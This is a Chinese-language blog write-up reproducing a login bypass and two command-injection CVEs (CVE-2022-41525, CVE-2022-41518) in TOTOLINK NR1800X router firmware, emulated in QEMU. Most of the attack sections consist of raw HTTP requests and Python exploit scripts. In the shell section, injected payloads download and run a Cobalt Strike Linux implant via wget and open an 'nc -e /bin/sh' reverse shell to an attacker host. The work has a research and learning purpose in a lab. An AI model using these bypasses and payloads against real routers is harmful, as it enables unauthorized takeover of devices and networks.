1. 前言
闲来无事逛论坛时发现了一篇写的蛮好的漏洞复现文章,还是多CVE复现的,菜鸡决定也来凑个热闹。
2. 实验环境
Ubuntu 16.04
QEMU
路由器固件:NR1800X_Firmware V9.1.0u.6279_B20210910
固件下载地址:
https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html
涉及漏洞
OpModeCfg命令注入:CVE-2022-41525
UploadFirmwareFile命令注入:CVE-2022-41518
3. 固件模拟
这里模拟采用的是system态,user态的模拟话会出现访问页面白板的问题,可能是因为有些配置文件加载的问题导致的。不过为了大家更好的感官,这里两种模拟方式我都会写下。
3.1 user态
首先,当然是我们固件的下载以及解包啦。直接一个递归解包
binwalk -Me TOTOLINK_C834FR-1C_NR1800X_IP04469_MT7621A_SPI_16M256M_V9.1.0u.6279_B20210910_ALL.web
解完包来看下我们的配置吧,首先是我们的IP
auto ens33
#iface ens33 inet dhcp
iface ens33 inet manual
up ifconfig ens33 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_stp off
bridge_maxwait 0
至于QEMU的下载啥的,请参考以前的漏洞复现文章,这里肯定不会再重复啦。
复制出来后,直接上命令模拟就好。当然,我们这里还需要确定下使用哪个命令来模拟。
readelf -h bin/busybox
mips架构,小端序,那就用mipsel吧
cp $(which qemu-mipsel-static) ./
sudo chroot . ./qemu-mipsel-static ./usr/sbin/lighttpd
当然,这里会报错,需要我们自己指定已有的配置文件
(ps:后面的同学其实可以直接一套带走,不需要每次看报错,我这里是为了记录)
sudo chroot . ./qemu-mipsel-static ./usr/sbin/lighttpd -f ./lighttp/lighttpd.conf
然后继续报错,说我们还缺个文件,自己创建一个就好。
vim ./var/run/lighttpd.pid
直接空文件保存就好,再来模拟就好了
服务已启动,访问IP看下。白板一只,令人心塞。不过换了system态就好了,这里只是给大家看下长啥样。
3.2 system态
user态访问是白板,很显然是哪里出了问题,很大可能是配置文件没有加载全,user态有些时候确实会出现类似的问题,所以多手准备很有必要。
首先下载QEMU启动虚拟机所需要的镜像,如果没有wget命令,直接访问后面的网站,自己下完拖进去就好。
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
在上面,我们已经创建好了网桥br,那么这里我们还需要创建个网口
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.7.167/24 up
sudo brctl addif br0 tap0
创建的网口需要和网桥同一网段,是为了后续和QEMU启动的虚拟机通信,当然,IP随意
这里配置完成后,启动我们的QEMU虚拟机
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
-M:虚拟的系统类型
-kernrl:指定启动内核
-hda:指定启动硬盘
-append:启动参数
-nographic:无图形输出
这里记得加sudo,不然权限会不够,然后经过耐心的等待,我们的虚拟机就会成功启动。
账密:root/root
上来后我们会发现QEMU启动的虚拟机还没有IP,这里我们直接命令配个静态的就行。
ifconfig eth0 192.168.7.67 up
配置完成,我们来测试下通信,Good!
既然现在我们通信配完了,那么就要开始准备上模拟了。
先把我们的源码拷进去
sudo scp -r squashfs-root/ root@192.168.7.67:/root/
然后在QEMU虚拟机中挂载启动就好
(这里要先运行上面的代码,在跑下面的。因为QEMU虚拟机的原因,代码太长了不会自动换行,导致代码执行失败,所以要先进sh,然后再跑代码)
chroot ./squashfs-root/ /bin/sh
./usr/sbin/lighttpd -f ./lighttp/lighttpd.conf
服务启动,再来访问下
Nice,这下啥都有了,现在可以开开心心的去复现漏洞了。
4. 漏洞复现
4.1 登录绕过
这里首先需要绕过登录,因为后面的俩命令执行需要登陆才行,但是我们默认密码登不上去,又不是实体设备可以重置密码,只能想办法绕过了
这里我直接先上POC(很简单的常规绕过,放开头为了方便大家使用)
GET /formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login HTTP/1.1
Host: 192.168.7.67
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.7.67/login.html
Connection: close
Upgrade-Insecure-Requests: 1
GET /formLoginAuth.htm?authCode=1&userName=&goURL=home.html&action=login HTTP/1.1
Host: 192.168.7.67
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.7.67/login.html
Connection: close
Upgrade-Insecure-Requests: 1
这里两段数据上面的是原始包,下面的是修改后的包,我们只需直接访问下面的url链接就可以直接登录了
http://192.168.7.67/formLoginAuth.htm?authCode=1&userName=&goURL=home.html&action=login
其实原理就是一个很简单的抓包改参,做过渗透的师傅应该都可以一眼看出来。不过我们手头既然有源码,那就肯定不能只顾黑盒测试啦,上源码看看吧。这里我先丢两个关键数据包出来
POST /cgi-bin/cstecgi.cgi?action=login HTTP/1.1
Host: 192.168.7.67
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://192.168.7.67
Connection: close
Referer: http://192.168.7.67/login.html
Upgrade-Insecure-Requests: 1
username=admin&password=123456
GET /formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login HTTP/1.1
Host: 192.168.7.67
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.7.67/login.html
Connection: close
Upgrade-Insecure-Requests: 1
首先是我们的第一个数据包,涉及到了cstecgi.cgi
,文件路径在www目录下,我们copy出来看下。
/squashfs-root/www/cgi-bin
是个32位的文件,直接IDA32打开就行。根据数据包内容,我们直接定位到action=login
的位置。
这里的代码主要是为了初始化我们的链接格式,用于后面传递的参数与接口的对应。
链接格式初始化后,接下来就是通过对topicurl
的值进行处理,来实现不同函数接口的调用。即goto LABEL_16
中的代码。
可以看到代码通过websGetVar
函数获取topicurl
的值,通过对/
的判断来截断函数名。
通过while循环遍历我们目前所在的是哪一个函数名称,然后跳到对应的函数地址去执行代码。
因为函数名称和地址是结构体方式,我们可以通过搜寻字符串的交叉引用来查找对应的处理函数。这里我是通过对loginAuthUrl
交叉引用找到对应函数地址sub_42AEEC
的,loginAuth
的几个交叉引用都在main函数里,不是我们要找的地方。
这里可以看到从url中读取了部分参数值,包括username、password等。
继续往下看代码的话,还会发现对password的值进行了urldecode
解码操作。同时调用了nvram
函数获取了一个名为http_username、http_passwd
的值来和我们输入的值进行对比。
这里我查到,nvram_safe_get
函数主要用来从配置中获取参数(当然,也不晓得我查的对不对,莫名其妙查不到这个函数的作用)
get the configureation of luci configure web
char * nvram_safe_get(char * pcField);
return the configure info string
这里获取了http_passwd
的值后,将值赋值给了v15
,然后又通过strcpy
函数将值复制给了v32
,我们跟着代码继续往下看,可以看到有个比较代码,将password
和http_passwd
进行了比较,同时通过结果对v18进行了赋值。
通过对代码的分析可以知道,v18在这里其实相当于一个标志值,是第二个包中的authCode
所代表的值。不过不知道是不是模拟器的原因,不管输入什么密码都登不进去。
v17 = strcmp(v6, v30);
if ( !strcmp(v35, v32) ) // v35 == password
// v32 == http_passwd
v18 = v17 != 0;
else
v18 = 1;
if ( v9 )
strcpy(v6, v30);
if ( !strcmp(v6, v30) && !strcmp(v35, v32) // 判断密码是否正确
|| nvram_get_int("ren_qing_style") == 1 && !*(_BYTE *)nvram_safe_get("http_passwd") )
{
if ( !strcmp(v9, "ie8") ) // 条件判断,决定登陆后跳转的页面(正确页面为home.html)
{
strcpy(v23, "wan_ie.html");
}
else if ( atoi(v9) == 1 )
{
if ( v12 )
strcpy(v23, "phone/wizard.html");
else
strcpy(v23, "phone/home.html");
}
else if ( v12 )
{
strcpy(v23, "wizard.html");
}
else
{
strcpy(v23, "home.html");
}
nvram_set_int_temp("cloudupg_checktype", 1);
doSystem("lktos_reload %s", "cloudupdate_check 2>/dev/null");
v18 = 1; // 如果密码等参数判断正确,执行完if判断后,将v18赋值为1
}
else
{
if ( !strcmp(v9, "ie8") )
{
strcpy(v23, "login_ie.html");
}
else if ( atoi(v9) == 1 )
{
strcpy(v23, "phone/login.html");
}
else
{
strcpy(v23, "login.html");
}
if ( v18 )
{
LABEL_54:
system("echo ''> /tmp/login_flag");
v18 = 0;
goto LABEL_55;
}
}
关于v18的值部分关键代码我贴在这了,感兴趣的师傅也可以直接看下。
继续往下看,可以看到有个snprintf
函数,用来重定向url
,然后进行访问,流程由flag参数值决定。
分析完url
部分,我们还需要继续往下看,来看下我们的网络连接部分。第二个数据包的http请求处理在web服务进程的lighttpd
中。老样子,拿出来后authCode
字符串交叉引用,查看调用。
依旧是同样的判断方法,先获取参数值,根据goURL
参数是否为空,来判断是否进入if条件语句。
继续往下看就是判断是否有authCode
值,来决定是否进入home.html
主界面,否则就返回到login.html
界面
这样的来看,我们其实只用构造访问url就可以直接绕过登录了
http://xxx.xxx.xxx.xxx/formLoginAuth.htm?authCode=1&userName=admin&goURL=home.html&action=login
http://xxx.xxx.xxx.xxx/formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login
goURL
不写的话,会自动复制home.html
,所以两条语句都可以访问。另外userName
不指定账户也可以登录,这里路由器默认admin登录的。
4.2 OpModeCfg命令注入
绕过登录问题已经解决了,那么下面就是我们的漏洞复现了。这个漏洞其实也很简单,由于OpModeCfg
函数中传入的hostName
参数过滤不严格,导致可以执行到dosystem
函数,从而可以通过简单的构造来执行命令。
那么我们来看下漏洞形成的代码,还是/cgi-bin/cstecgi.cgi
这个文件。
这里函数块在sub_421C98
处,同时如果要执行到doSystem
处需要绕过几个判断。首先是proto不能为0、3、4、6
,接着是hostname
不能为空。hostname
不能为空在图里就可以看出来,至于proto
则在上面的代码处,因为总代码比较长,这里我只截判断部分给大家看看,感兴趣的师傅可以自己去分析下。
这样一来,我们只需要构造一个符合函数的包就好。
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.7.67
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 74
Origin: http://192.168.7.67
Connection: close
Referer: http://192.168.7.67/basic/index.html
Cookie: SESSION_ID=2:1668665284:2
{
"proto":"8",
"hostname":"';ls ../../;'",
"topicurl":"setOpModeCfg"
}
当然,这里其实也可以用python脚本来实现
import requests
url = "http://192.168.7.67:80/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"SESSION_ID=2:1668665284:2"}
data = {"topicurl" : "setOpModeCfg",
"proto" : "8",
"switchOpMode" : "1",
"hostName" : "';ls -al ../ ;'"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)
4.3 UploadFirmwareFile命令注入
这一个命令注入是/cgi-bin/cstecgi.cgi
的UploadFirmwareFile
函数,参数FileName
可控,可以作为doSystem
的参数执行。不过这块代码反汇编出来有些问题,没有被识别到,需要自行创建个函数。
首先,在最开头我们可以看到,表示地址的部分是暗红色,代表没有成功识别到汇编代码
我们可以借助IDA,来创建一个函数,直接快捷键P
即可。或者Edit -- Functions -- Create Function...
从最上面开始创建函数后,一路往下,直到能够将我们的关键地址变为能够识别到的汇编代码即可。
然后开开心心的F5反编译
当然,如果反编译失败报错,提示大小不对那个错误的话,可以修改下。
Options -- Compiler...
,修改配置为GNU C++即可
这里我们直接来测试下命令注入吧
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.7.67
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 72
Origin: http://192.168.7.67
Connection: close
Referer: http://192.168.7.67/basic/index.html
Cookie: SESSION_ID=2:1668665284:2
{
"topicurl":"UploadFirmwareFile",
"filename":";ls / > /tmp/hack;"
}
注意这个命令注入是将文件写到QEMU启动的虚拟机内部,而不是说将文件copy出来。
当然,这个命令注入的实现同样可以使用python
import requests
url = "http://192.168.7.67:80/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"SESSION_ID=2:1668665284:2"}
data = {'topicurl' : "UploadFirmwareFile",
"FileName" : ";ls -al / > /tmp/hack;"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)
为了体现区别,这里用python执行ls -al
命令
成功写入~~~
5. 关于shell
能够执行命令了,那我们一般来讲,肯定是想着该怎么弹shell。这里我们以OpModeCfg命令注入
为例,来实际测试下我们能不能弹个shell回来。
因为我其实不太会渗透,所以一开始是想着传个马进去,上线CS。不过出了问题,没法执行。这里也给大家看一下。
首先利用cs的插件,做个Linux的马出来
木马制作完成后,我本机上线测试了下,确保能用
测试正常,既然能用,接下来就是传到固件中运行了。这里我起个python服务,然后用攻击脚本传进去执行
import requests
url = "http://192.168.7.67:80/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"SESSION_ID=2:1668751703:2"}
data = {"topicurl" : "setOpModeCfg",
"proto" : "8",
"switchOpMode" : "1",
"hostName" : "';wget http://192.168.7.44:8000/attack_linux && chmod 777 attack_linux && ./attack_linux ;'"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)
虽然执行成功了,但是我们的马并没有上线。这里直接进到固件系统里面去看下
马传上来了,权限也给了,不过哪怕在固件系统里面手动执行也不行,提示无法执行二进制文件。这个问题我没解决,毕竟模拟环境好多命令其实不太好用。
既然这个不行,那就只好考虑换种方法了。直接nc弹个shell来试试看吧
import requests
url = "http://192.168.7.67:80/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"SESSION_ID=2:1668751703:2"}
data = {"topicurl" : "setOpModeCfg",
"proto" : "8",
"switchOpMode" : "1",
"hostName" : "';nc 192.168.7.44 4444 -e /bin/sh ;'"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)
这里nc倒是可以弹个shell回来,基础的指令操作也是可以的。比如cat、echo
一类的。不过没办法执行whoami
和id
这里我换了bash
和busybox
也还是不行,最终shell回来后都是用的固件模拟里带有的指令集,busybox
也没法用,没搞明白是咋回事。不过关于为什么whoami
不能用倒是看懂了,回到固件模拟系统里,查看了下bin
目录和/usr/bin
目录里的内容,发现压根没有whoami
和id
这两个命令。多次测试下,发现确实是这样,凡是bin
目录下具有的命令都能用,但是没有的就不能使,尝试从外面copy
个命令进去也不太行,可能是版本架构的问题。按理说固件模拟用的应该是busybox
里的指令集来执行,不过可能是我这弹shell
出了点问题?不过能写能读倒也凑合能用了。
如果有师傅知道该怎么解决这种部分命令无法执行的问题的话,还望不吝赐教,大佬带带我啊~~~
6. 总结
命令注入漏洞其实都不难复现,难点在于如何从众多源码中找到参数过滤不严格的地方,以及我们该如何绕过这个过滤。同时还需要注意payload的构造,这两个命令执行漏洞其实对比就很明显。两个命令执行payload构造有着一个很细微的区别。
"hostName" : "';ls -al ../ ;'"
"FileName" : ";ls -al / > /tmp/hack;"
仔细观察其实可以看到,两个命令执行,一个用了'
单引号,一个没有使用。这点也和两个doSystem
不同有关。
比较一下就能看出很明显的区别。
7. 参考链接
https://www.anquanke.com/post/id/282739
https://blog.csdn.net/wsclinux/article/details/47399925
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=TOTOLINK%20NR1800X
https://brief-nymphea-813.notion.site/NR1800X-command-injection-setOpModeCfg-7b10868ba53544148d9aa3100b5df5cc
https://brief-nymphea-813.notion.site/NR1800X-command-injection-UploadFirmwareFile-a98e96086d824b7d8b788a8639322457
https://cloud.tencent.com/developer/article/1937030
https://www.jianshu.com/p/14797a3e1a1d